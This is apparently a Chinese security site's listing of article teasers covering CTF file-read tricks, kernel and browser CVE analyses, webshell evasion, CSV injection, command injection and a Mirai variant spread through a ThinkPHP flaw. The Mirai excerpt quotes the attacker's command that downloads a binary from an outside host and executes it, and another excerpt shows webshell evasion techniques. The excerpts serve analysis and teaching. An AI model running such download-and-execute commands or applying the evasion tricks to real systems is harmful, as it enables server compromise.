从一道ctf题学习mysql任意文件读取漏洞 渗透测试

从一道ctf题学习mysql任意文件读取漏洞

题目分析 题目给出了源码 <?php define(ROBOTS, 0); error_reporting(0); if(empty($_GET["action"])) { show_source(__FILE__); } else { include $_GET["action"].".php"; } 可以文件包含,但是被添加了.php后缀。尝试%00截断、超长字符串截断均不成功。 注意到第一句代码,变量名为ROBOTS,联想到robots.txt。 访问后发现目录 User-agent:* Disallow:/install...
最新
阅读全文
Linux内核CVE-2017-11176漏洞分析与复现 代码审计

Linux内核CVE-2017-11176漏洞分析与复现

一、漏洞背景 Linux内核中的POSIX 消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。本文将从漏洞成因、补丁分析以及漏洞复现等多个角度对该漏洞进行详细分析。 二、漏洞分析 Posix消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现,mq_notify为指定队列建立或删除异步通知。由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL,可能导致UAF漏洞。 ...
阅读全文
类型混淆漏洞实例浅析 代码审计

类型混淆漏洞实例浅析

类型混淆漏洞一般是将数据类型A当做数据类型B来解析引用,这就可能导致非法访问数据从而执行任意代码。 本文通过IE类型混淆漏洞实例和Word类型混淆漏洞实例进行分析,来学习理解类型混淆漏洞原理。  实例一:IE/Edge类型混淆漏洞(CVE-2017-0037) 漏洞原因:函数处理时,没有对对象类型进行严格检查,导致类型混淆。 分析环境:Win7、IE11 分析工具:Windbg、od、IDA Pro 在PoC中定义了一个table,标签中定义了表id为th1,在boom()中引用,然后是setInterval设定事...
阅读全文
一句话木马的套路 渗透测试

一句话木马的套路

0×01 前言 尽最大努力在一文中让大家掌握一些有用的 WEBSHELL 免杀技巧。 0×02 关于 eval 于 assert 关于 eval 函数在 php 给出的官方说明是 eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用 可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a() ?> 这样是不行的 也造就了用 eval 的话达不到 assert 的灵...
阅读全文
浅谈CSV注入漏洞 渗透测试

浅谈CSV注入漏洞

背景 某天在逛expdb时候看到了CSV Injection的exp,在渗透测试的过程中也偶尔会遇到类似的情况,这一漏洞很早之前就出现过,但是很多人没有意识到漏洞的危害性,于是抱着学习的心态进行了一波漏洞复现和学习。 漏洞介绍 CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很...
阅读全文
Rex:栈溢出之Exploit自动生成 渗透测试

Rex:栈溢出之Exploit自动生成

Rex 是由 Shellphish 开发的自动化漏洞利用引擎,设计初衷在于参加 Cyber Grand Challenge。本文以栈溢出为例,展示 Rex 自动生成 Exploit 的能力。测试样例为 Linux 下可执行程序 vuln_stacksmash,其中存在栈溢出漏洞,通过 Rex 自动生成 rop2system、rop2text、jmpesp 三种 Exploit。 0×00 vuln_stacksmash 栈溢出漏洞   使用 radare2 简要分析 vuln_stacksmash。vuln() 函数中,调用...
阅读全文
挖洞经验 | 如何利用postMessage窃取编辑用户的Cookie信息 渗透测试

挖洞经验 | 如何利用postMessage窃取编辑用户的Cookie信息

某天,当我在做某个项目的漏洞测试时,在登录的一些HTTP请求记录中,我发现了一种利用postMessage方式窃取和编辑用户Cookie的方法。由于该测试是邀请测试,出于保密,我只能在下文中和大家分享一些方法思路。 postMessage介绍 相信大家都听过不同窗口之间的通信、当前窗口与内部iframe框架的通信以及一些跨域技巧,window.postMessage功能就是允许在两个客户端的窗口/frames间发送数据信息,跨域地实现通信的方法。 在HTML5中,Window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本,只有当执行...
阅读全文
命令注入新玩法:巧借环境攻击目标 渗透测试

命令注入新玩法:巧借环境攻击目标

在一次漏洞赏金活动中,挖掘到一个不标准的命令注入漏洞,我无法用命令分隔符、命令替换符注入新命令让系统执行,所以,从”型态”上讲,它不算是命令注入漏洞;但我又可以借助目标环境让载荷到达系统命令行,实现读写文件、执行新命令,所以,”神态”来看,它又像是命令注入。这类借助环境间接注入命令的利用手法,很少在常规讨论命令注入的文章中看到,有必要落笔成文,与你分享。 0×00 酷趣 wargame 由于受赏金厂商保密协议所限,我无法公开原始漏洞详情,但我更清楚 “talk is cheap, show me the code”,耗时费神,找到一个 wargame,相较赏金漏洞,不但体现了相同精髓...
阅读全文
技术分享 | 多种测试HTTP身份验证的方法 渗透测试

技术分享 | 多种测试HTTP身份验证的方法

在这篇文章中,我们会告诉大家如何保护Apache Web服务器免受未经身份验证的用户非法访问,以及如何隐藏关键核心信息不被非法用户查看到。当然了,我们还会介绍如何利用这些安全缺陷来渗透目标服务器,相信这也是大家非常感兴趣的东西。 HTTP基础认证(BA) 在HTTP事务处理环境中,基础访问身份认证是HTTP用户代理在请求提供用户名和密码时需要使用到的一种安全方法。 实际上,HTTP基础认证(BA)是实现对Web资源访问控制的一种最简单的技术,因为它不需要设计cookie、会话识别符或登录页面,HTTP基础认证是需要使用到HTTP头中的标准字段,而且还不需要进...
阅读全文
利用Thinkphp漏洞传播的Mirari新变种分析 代码审计

利用Thinkphp漏洞传播的Mirari新变种分析

一、概述 12月底,通过安全设备检测到几个不同的IP试图对几个公司内部的网站进行漏洞攻击。通过攻击日志发现攻击IP使用了于2018年12月12日爆出的ThinkPHP远程代码执行漏洞(CNVD-2018-24942),攻击者利用该漏洞,可在未授权的情况下远程执行代码。 下图为攻击日志: 攻击者试图在被攻击服务器上执行如下命令: ‘Cd /tmp;wget http://cnc.junoland.xyz/bins/egg.x86;cat egg.x86> lzrd;chmod 777 lzrd;./lzrd ‘ 同时从该恶意文件存放网站上还发现了arm,...
阅读全文
thinkphp 5.x漏洞分析 代码审计

thinkphp 5.x漏洞分析

根据网上发布关于thinkphp 5.x远程代码执行漏洞预警,分析漏洞发生点,对比官方git更新版本,对照发现更新为request类,如下图所示: 观察发生更改的点为pathinfo()、method()、param()、post()、request()和cache()方法上,由此预测漏洞发生可能与这几个方法有关,进入5.0.10版本request.php中,如下图所示: 最后返回一个input方法,跟踪input方法,如下图所示:安全脉搏:https://www.secpulse.com/archives/95012.html ...
阅读全文
Java反序列化漏洞总结 渗透测试

Java反序列化漏洞总结

前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是通过序列化后的字段还原成这个对象本身。但标识不被序列化的字段是不会被还原的。 序列化有什么用 1)网站相应的session对象存储在硬盘上,那么保存在session中的内容就必须实现相关的序列化操作。 2)如果使用的java对象要在分布式中使用或者在rmi远程调用的网络中使用的话,那么相关的对象必须实现java序列化接口。 Ja...
阅读全文